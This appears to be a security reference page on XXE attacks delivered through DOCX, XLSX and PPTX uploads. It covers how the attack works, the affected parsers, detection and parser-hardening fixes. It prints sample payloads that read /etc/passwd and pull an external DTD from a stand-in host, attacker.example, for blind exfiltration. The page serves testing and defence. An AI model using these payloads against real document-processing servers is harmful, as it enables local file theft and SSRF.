XXE via Office Open XML documents
DOCX XXE attacks target servers that parse uploaded Office documents: DOCX, XLSX and PPTX files are ZIP archives of XML parts, so injecting a DOCTYPE and external entity into one of those parts (such as word/document.xml) makes a vulnerable server-side XML parser read local files when it processes the upload.
- Target formats
- DOCXXLSXPPTXOffice Open XML
- Affected parsers
- Apache POI (Java)python-docx/openpyxl backendsCustom OOXML parsers
- Impact
- Local file disclosureSSRFBlind exfiltration
How it works
An Office Open XML file is a ZIP container holding several XML parts. Applications that extract text, convert, or validate uploaded documents unzip the archive and parse those parts with an XML parser.
By unzipping a valid document, inserting a DOCTYPE with an external entity into a part like word/document.xml (or the [Content_Types].xml), and re-zipping, you deliver an XXE payload inside an innocuous-looking .docx. Blind/OOB chains work here too, since the data rarely comes straight back.
Which parser configuration makes it work
Requires a server that parses the XML parts of uploaded OOXML files with a parser that resolves external entities. The ZIP wrapper means signature/extension checks pass; only the inner XML matters.
Representative payloads
Replace callback hosts and target paths with your own authorized test values.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE w:document [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document ...>
<w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p></w:body>
</w:document>Re-zip the modified part back into the .docx before uploading.
<!DOCTYPE w:document [
<!ENTITY % xxe SYSTEM "http://attacker.example/evil.dtd">
%xxe;
]>Detection
As a tester, unzip a document, inject into an XML part, re-zip and upload. As a defender, unzip uploaded OOXML files and scan each XML part for DOCTYPE/ENTITY declarations before parsing; monitor the document-processing service for file:// reads and outbound requests triggered by an upload.
- DOCTYPE/ENTITY declarations inside XML parts of uploaded OOXML files
- Document-processing worker making file:// or outbound requests
- Outbound DNS/HTTP correlated with a document upload
Remediation
Harden the XML parser used to read the document parts: disable DOCTYPE/DTD processing and external entities in the library doing the parsing (for Apache POI, ensure the underlying factory rejects DOCTYPE; keep POI and its XML stack up to date, as recent versions disable entities by default). Parse each extracted part with a hardened parser, never a default one, and process untrusted documents in a sandbox without network or broad filesystem access.
Fix checklist
- Disable DOCTYPE/external entities in the OOXML part parser
- Keep Apache POI / the XML backend updated (entities off by default in recent versions)
- Scan each unzipped XML part before parsing it
- Process untrusted documents in a network/filesystem sandbox